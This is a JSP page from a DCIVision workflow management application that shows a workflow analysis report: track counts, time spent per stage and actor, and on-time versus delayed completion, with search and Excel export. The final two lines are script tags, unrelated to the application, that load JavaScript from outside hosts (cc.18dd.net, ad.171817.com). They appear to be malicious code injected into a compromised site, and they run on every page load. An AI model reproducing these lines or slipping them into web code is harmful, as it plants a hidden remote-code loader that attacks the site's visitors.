<%
/*
 * @(#)ListWorkflowAnalysisReport.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */
/**
  ListWorkflowAnalysisReport.jsp

  This is a ListWorkflowAnalysisReport.jsp page.  It shows customized report for DST

    @author             Dick Xie
    @company            DCIVision Ltd
    @creation date      14/05/2005
    @version            $Revision: 1.22.26.5 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*" %>
<%@ page import="java.text.DecimalFormat"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>


<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listAnalysisReportForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowMonitoringForm"/>
<%
try{
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/

  List workflowGroupList = (List)request.getAttribute("workflowGroupList");
  List workflowRecordList =(List)request.getAttribute("workflowRecordList");

  String[][] workflowGroupStr = new String[workflowGroupList.size()+1][2];
  workflowGroupStr[0][1] = "";
  workflowGroupStr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
  for (int j = 1; !Utility.isEmpty(workflowGroupList) && j <= workflowGroupList.size(); j++ ) {
    WorkflowGroup workflowGroup = (WorkflowGroup)workflowGroupList.get(j-1);
    if (!Utility.isEmpty(workflowGroup.getDescription())) {
      if (workflowGroup.getDescription().length() > 20) {
        workflowGroupStr[j][0] = workflowGroup.getGroupName() + "[" + workflowGroup.getDescription().substring(0,16) + "...]";
      } else {
        workflowGroupStr[j][0] = workflowGroup.getGroupName() + "[" + workflowGroup.getDescription() + "]";
      }
    } else {
      workflowGroupStr[j][0] = workflowGroup.getGroupName();
    }
    workflowGroupStr[j][1] = workflowGroup.getID().toString();
    }

  String[][] workflowRecordStr = new String[workflowRecordList.size()+1][2];
  workflowRecordStr[0][1] = "";
  workflowRecordStr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
  for (int j = 1; !Utility.isEmpty(workflowRecordList) && j <= workflowRecordList.size(); j++ ) {
    WorkflowRecord workflowRecord = (WorkflowRecord)workflowRecordList.get(j-1);
    if (!Utility.isEmpty(workflowRecord.getDescription())) {
      if (workflowRecord.getDescription().length() > 20) {
        workflowRecordStr[j][0] = workflowRecord.getWorkflowCode() + "(" + workflowRecord.getWorkflowVersion() + ") - [" + workflowRecord.getDescription().substring(0,16) +"...]";
      } else {
        workflowRecordStr[j][0] = workflowRecord.getWorkflowCode() + "(" + workflowRecord.getWorkflowVersion() + ") - [" + workflowRecord.getDescription()+"]";
      }
    } else {
       workflowRecordStr[j][0] = workflowRecord.getWorkflowCode() + "(" + workflowRecord.getWorkflowVersion() + ")";
    }
    workflowRecordStr[j][1] = workflowRecord.getID().toString();
  }

  DecimalFormat decFormat = new DecimalFormat("###,###.##");

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

%>
<style>
th {
  font-family     : "Arial", "Helvetica", "sans-serif";
  font-weight     : bold;
  color           : #000000;
  font-size       : 9pt;
  text-align      : center;
}
td.figure {
  font-family     : "Arial", "Helvetica", "sans-serif";
  font-weight     : normal;
  color           : #000000;
  font-size       : 9pt;
  text-align      : center;
}
</style>

<script language="javascript">
<!--
function CusOpListReset(frm) {
  frm.workflowRecordID.value='';
  frm.workflowGroupID.value='';
  frm.datePeriodFrom.value = '';
  frm.datePeriodTo.value = '';
  frm.generateExcel.value = "";
  return OpListReset(frm);
}



function CusOpList(frm, sortValue, sortOrder, navMode) {
  if (frm.workflowGroupID.value=='' || frm.workflowRecordID.value==''||frm.datePeriodFrom.value=='' || frm.datePeriodTo.value=='') {
    alert("<bean:message key='workflow.alert.select.must'/>");
    return false;
  }
  if (frm.datePeriodFrom.value!=''&&frm.datePeriodTo.value!='') {
    if (compareDate(frm.datePeriodFrom, frm.datePeriodTo, true) > 0) {
      alert("<bean:message key='common.message.from_later_than_to'/>");
      return false;
    }
  }
 document.listAnalysisReportForm.generateExcel.value = "";
  return OpList(frm, sortValue, sortOrder, navMode);
}

function CusExcelOpList(frm,par1,par2, navMode) {
  if (frm.workflowGroupID.value=='' || frm.workflowRecordID.value==''||frm.datePeriodFrom.value=='' || frm.datePeriodTo.value=='') {
    alert("<bean:message key='workflow.alert.select.must'/>");
    return false;
  }
  
  if (frm.datePeriodFrom.value!=''&&frm.datePeriodTo.value!='') {
    if (compareDate(frm.datePeriodFrom, frm.datePeriodTo, true) > 0) {
      alert("<bean:message key='common.message.from_later_than_to'/>");
      return false;
    }
  }
  
  document.listAnalysisReportForm.generateExcel.value = "G";
  return OpList(frm,par1,par2,navMode);
}

function getRefreshForm(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  document.listAnalysisReportForm.generateExcel.value = "";
  frm.navMode.value="<%=GlobalConstant.NAV_MODE_LIST%>";
  frm.submit();
  return false;
}
//-->

</script>
<!-- Form Section Begin -->
<html:form action="/workflow/ListWorkflowAnalysisReport" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="basicSearchField"/>
<html:hidden property="basicSearchType"/>
<html:hidden property="basicSearchKeyword"/>
<input type=hidden name="generateExcel" />

<!-- Page Title Section Begin -->
<%request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,"WFM_REPORT");%>
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font></layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderLongBg.gif'  pathOnly='true'/>">
  <tr>
    <td width="80" valign="top">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td align="center">
      <table width="80%">
      <tr>
        <td class="dataField"><bean:message key='workflow.columnheader.group_name'/>:</td>
        <td><html:select property="workflowGroupID" onchange='getRefreshForm();' onkeypress="onKeyPress();" >
            <html:options stringArray='<%=workflowGroupStr%>' hasSelect='false' convertLabel='false'/>
          </html:select>
        </td>
      </tr>
      <tr>
        <td class="dataField"><bean:message key='workflow.monitor.track.workflow_record'/>:</td>
        <td><html:select property="workflowRecordID" onkeypress="onKeyPress();" >
            <html:options stringArray='<%=workflowRecordStr%>' hasSelect='false' convertLabel='false'/>
          </html:select>
        </td>
      </tr>
      <tr>
        <td class="dataField"><bean:message key='workflow.report.date_range'/>:</td>
        <td class="dataField"><html:datepicker property='datePeriodFrom' onkeypress="onKeyPress();" />&nbsp;<bean:message key='common.label.access_to'/>&nbsp;<html:datepicker property='datePeriodTo' onkeypress="onKeyPress();" /></td>

      </tr>
      <tr><td colspan="2" align="center"><br>
        <html:standardButton label="common.label.search" onClick="return OpList()"/>
        <html:standardButton label="common.label.reset" onClick="return CusOpListReset(listAnalysisReportForm)"/>
        <html:standardButton label="workflow.label.export_current_page" onClick="return(CusExcelOpList(listAnalysisReportForm, '<bean:write name='listAnalysisReportForm' property='sortAttribute' replace=''/>', '<bean:write name='listAnalysisReportForm' property='sortOrder' replace=''/>'))"/>
      </td></tr>
      </table>
    </td>
  </tr>
</table>
<!-- Search Panel End -->

<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<!-- Table Heading Begin -->

<%
 if (GlobalConstant.NAV_MODE_LIST.equals(listAnalysisReportForm.getNavMode()) && !Utility.isEmpty(listAnalysisReportForm.getWorkflowRecordID()) && !Utility.isEmpty(listAnalysisReportForm.getDatePeriodFrom()) && !Utility.isEmpty(listAnalysisReportForm.getDatePeriodTo())) {

    Integer pendingWorkflowTrackNumberBefore = (Integer)request.getAttribute("pendingWorkflowTrackNumberBefore");
    Integer createdWorkflowTrackNumber = (Integer)request.getAttribute("createdWorkflowTrackNumber");
    Integer completedWorkflowTrackNumber = (Integer)request.getAttribute("completedWorkflowTrackNumber");
    Integer stoppedWorkflowTrackNumber = (Integer)request.getAttribute("stoppedWorkflowTrackNumber");
    Integer pendingWorkflowTrackNumberAfter = (Integer)request.getAttribute("pendingWorkflowTrackNumberAfter");
    List workflowStageList = (List)request.getAttribute("workflowStageList");
%>
  <b><bean:message key='workflow.report.count'/></b>
  <table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <tr class="listContent0">
    <td><bean:message key='workflow.report.pending_before'/></td>
    <td class="figure"><%=pendingWorkflowTrackNumberBefore.toString()%></td>
  </tr>
  <tr class="listContent1">
    <td><bean:message key='workflow.report.created'/></td>
    <td class="figure"><%=createdWorkflowTrackNumber.toString()%></td>
  </tr>
  <tr class="listContent0">
    <td><bean:message key='workflow.report.completed'/></td>
    <td class="figure"><%=completedWorkflowTrackNumber.toString()%></td>
  </tr>
  <tr class="listContent1">
    <td><bean:message key='workflow.report.stopped'/></td>
    <td class="figure"><%=stoppedWorkflowTrackNumber.toString()%></td>
  </tr>
  <tr class="listContent0">
    <td><bean:message key='workflow.report.pending_after'/></td>
    <td class="figure"><%=pendingWorkflowTrackNumberAfter.toString()%></td>
  </tr>
  </table>
  </td></tr>
  </table>
 <%
     List workflowTaskExeTimeInfoList = (List)request.getAttribute("WorkflowTaskExeTimeInfoList");
     List workflowTaskExeTimeByOwnerList = (List)request.getAttribute("WorkflowTaskExeTimeByOwnerList");
     List workflowTaskExeTimeByActionTakerList = (List)request.getAttribute("WorkflowTaskExeTimeByActionTakerList");
    if (Utility.isEmpty(workflowStageList) && completedWorkflowTrackNumber.intValue() > 0) {
  %>
  <br><br><font color=red><bean:message key='workflow.report.stage_set_is_required'/></font>
  <%   
    } else if(!Utility.isEmpty(workflowTaskExeTimeInfoList)){
  %>
  <br>
  <b><bean:message key='workflow.report.used_time'/></b>
  <table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%">
	<tr>
		<td>
			<table cellpadding="3" cellspacing="1" border="0" width="100%">
				<tr class="columnHead">
				  <th><bean:message key='workflow.report.min_used'/></th>
				  <th><bean:message key='workflow.report.max_used'/></th>
				  <th><bean:message key='workflow.report.avg_used'/></th>
				</tr>
				<%String values[] = (String[])workflowTaskExeTimeInfoList.get(0);%>
				<tr class="listContent0">
					<td class="figure"><%=formatDuration(values[0])%></td>
					<td class="figure"><%=formatDuration(values[1])%></td>
					<td class="figure"><%=formatDuration(values[2])%></td>
				</tr>
			</table>
		</td>
	</tr>
  </table>
  <br>
  <table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <tr class="columnHead">
  <th><bean:message key='workflow.report.stage'/></th>
  <th><bean:message key='workflow.label.actor'/></th>
  <th><bean:message key='workflow.report.min_used'/></th>
  <th><bean:message key='workflow.report.max_used'/></th>
  <th><bean:message key='workflow.report.avg_used'/></th></tr>
  <%
    List stageList = new ArrayList();
    Map stageMap = new TreeMap();
    for(int i=0;i<workflowTaskExeTimeByOwnerList.size();i++){
      values = (String[])workflowTaskExeTimeByOwnerList.get(i);
      List valueList = new ArrayList();
      if(stageMap.containsKey(values[0])){
        valueList = (List)stageMap.get(values[0]);
      }else{
        stageList.add ( values[0] );
      }
      valueList.add(values);
      stageMap.put(values[0], valueList);
    }
    Iterator stageItr = stageList.iterator();
    for(int i=0;stageItr.hasNext();i++){
      String stageName = (String)stageItr.next();
      List valueList = (List)stageMap.get(stageName);
      String value0[] = (String[])valueList.get(0);
  %>
    <tr>
      <td rowspan="<%=valueList.size()%>"><%=stageName%></td>
      <td><%=value0[1]%></td>
      <td class="figure"><%=formatDuration(value0[2])%></td>
      <td class="figure"><%=formatDuration(value0[3])%></td>
      <td class="figure"><%=formatDuration(value0[4])%></td>
    </tr>
    <%for(int j=1;j<valueList.size();j++){%>
    <tr>
      <%values = (String[])valueList.get(j);%>
      <td><%=values[1]%></td>
      <td class="figure"><%=formatDuration(values[2])%></td>
      <td class="figure"><%=formatDuration(values[3])%></td>
      <td class="figure"><%=formatDuration(values[4])%></td>
    </tr>
    <%}%>
    <%}%>
  </table>
  </td></tr>
  </table>
  <br>
  <table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <tr class="columnHead">
  <th><bean:message key='workflow.report.stage'/></th>
  <th><bean:message key='workflow.report.action_taker'/></th>
  <th><bean:message key='workflow.report.min_used'/></th>
  <th><bean:message key='workflow.report.max_used'/></th>
  <th><bean:message key='workflow.report.avg_used'/></th></tr>
  <%
    stageList = new ArrayList();
    stageMap = new TreeMap();
    for(int i=0;i<workflowTaskExeTimeByActionTakerList.size();i++){
      values = (String[])workflowTaskExeTimeByActionTakerList.get(i);
      List valueList = new ArrayList();
      if(stageMap.containsKey(values[0])){
        valueList = (List)stageMap.get(values[0]);
      }else{
        stageList.add ( values[0] );
      }
      valueList.add(values);
      stageMap.put(values[0], valueList);
    }
    stageItr = stageList.iterator();
    for(int i=0;stageItr.hasNext();i++){
      String stageName = (String)stageItr.next();
      List valueList = (List)stageMap.get(stageName);
      String value0[] = (String[])valueList.get(0);
  %>
    <tr>
      <td rowspan="<%=valueList.size()%>"><%=stageName%></td>
      <td><%=value0[1]%></td>
      <td class="figure"><%=formatDuration(value0[2])%></td>
      <td class="figure"><%=formatDuration(value0[3])%></td>
      <td class="figure"><%=formatDuration(value0[4])%></td>
    </tr>
    <%for(int j=1;j<valueList.size();j++){%>
    <tr>
      <%values = (String[])valueList.get(j);%>
      <td><%=values[1]%></td>
      <td class="figure"><%=formatDuration(values[2])%></td>
      <td class="figure"><%=formatDuration(values[3])%></td>
      <td class="figure"><%=formatDuration(values[4])%></td>
    </tr>
    <%}%>
    <%}%>
  </table>
  </td></tr>
  </table>
  <%
    Long  completeOnTimeTrackNumber = (Long)request.getAttribute("completeOnTimeTrackNumber");
    Long  completeDelayTrackNumber =  (Long)request.getAttribute("completeDelayTrackNumber");
    Long  MaxcompleteOnTimeDay =  (Long)request.getAttribute("MaxcompleteOnTimeDay");
    Long  MincompleteOnTimeDay =  (Long)request.getAttribute("MincompleteOnTimeDay");
    Long  MaxcompleteDelayDay =  (Long)request.getAttribute("MaxcompleteDelayDay");
    Long  MincompleteDelayDay =  (Long)request.getAttribute("MincompleteDelayDay");
    Long  AvgcompleteOnTimeDay =  (Long)request.getAttribute("AvgcompleteOnTimeDay");
    Long  AvgcompleteDelayDay =  (Long)request.getAttribute("AvgcompleteDelayDay");
  %>
  <br>
  <b><bean:message key='workflow.report.compare'/></b>
  <table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <tr class="columnHead">
	  <th><bean:message key='workflow.report.complete_before_after'/></th>
	  <th><bean:message key='workflow.report.total'/></th>
	  <th><bean:message key='workflow.report.percentage'/></th>
	  <th><bean:message key='workflow.report.min_days'/></th>
	  <th><bean:message key='workflow.report.max_days'/></th>
	  <th><bean:message key='workflow.report.avg_days'/></th>
  </tr>
  <tr class="listContent0">
    <td><bean:message key='workflow.report.complete_before'/></td>
    <td class="figure"><%=completeOnTimeTrackNumber.toString()%></td>
    <td class="figure"><%=decFormat.format((float)completeOnTimeTrackNumber.intValue()/(completeOnTimeTrackNumber.intValue()+completeDelayTrackNumber.intValue())*100)%>(%)</td>
    <td class="figure"><%=MincompleteOnTimeDay.intValue()==0? "-":formatDuration(MincompleteOnTimeDay.toString())%></td>
    <td class="figure"><%=MaxcompleteOnTimeDay.intValue()==0? "-":formatDuration(MaxcompleteOnTimeDay.toString())%></td>
    <td class="figure"><%=AvgcompleteOnTimeDay.intValue()==0? "-":formatDuration(AvgcompleteOnTimeDay.toString())%></td>
  </tr>
  <tr class="listContent1">
    <td><bean:message key='workflow.report.complete_after'/></td>
    <td class="figure"><%=completeDelayTrackNumber.toString()%></td>
    <td class="figure"><%=decFormat.format((float)completeDelayTrackNumber.intValue()/(completeOnTimeTrackNumber.intValue()+completeDelayTrackNumber.intValue())*100)%>(%)</td>
    <td class="figure"><%=MincompleteDelayDay.intValue()==0? "-":formatDuration(MincompleteDelayDay.toString())%></td>
    <td class="figure"><%=MaxcompleteDelayDay.intValue()==0? "-":formatDuration(MaxcompleteDelayDay.toString())%></td>
    <td class="figure"><%=AvgcompleteDelayDay.intValue()==0? "-":formatDuration(AvgcompleteDelayDay.toString())%></td>
  </tr>
  </table>
  <%}else{%>
  <br><br><font color=red><bean:message key='workflow.report.no_completed_track'/></font>
  <%}%>
<%}%>



</td></tr></table>
<!-- Table Showing Record List End -->
</html:form>

<!-- Form Section End -->
<%}catch(Exception ex){
  LogFactory.getLog(this.getClass()).error(ex, ex);
}%>

<%!private String formatDuration(String duration){
  return formatDuration ( Float.valueOf(duration).longValue()*1000 );
}

public String formatDuration ( long duration ){
  long LONG_DAYS = 1000*60*60*24;
  long LONG_HOURS = 1000*60*60;
  long LONG_MINUTES = 1000*60;
  long LONG_SECONDS= 1000;
  long totalDays = duration/LONG_DAYS;
  long totalHours = (duration-(totalDays*LONG_DAYS))/LONG_HOURS;
  long totalMins = (duration-(totalDays*LONG_DAYS)-(totalHours*LONG_HOURS))/LONG_MINUTES;
  long totalSecs = (duration - (totalDays*LONG_DAYS)-(totalHours*LONG_HOURS)-(totalMins*LONG_MINUTES))/LONG_SECONDS;
  return totalDays+"d "+totalHours+"h "+totalMins+"m "+totalSecs+"s";
//  return duration/1000+"s";
}
%>
<script language="JavaScript">
function onKeyPress(){
if(event.keyCode==13)CusOpList(listAnalysisReportForm, '<bean:write name='listAnalysisReportForm' property='sortAttribute' replace=''/>', '<bean:write name='listAnalysisReportForm' property='sortOrder' replace=''/>');
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>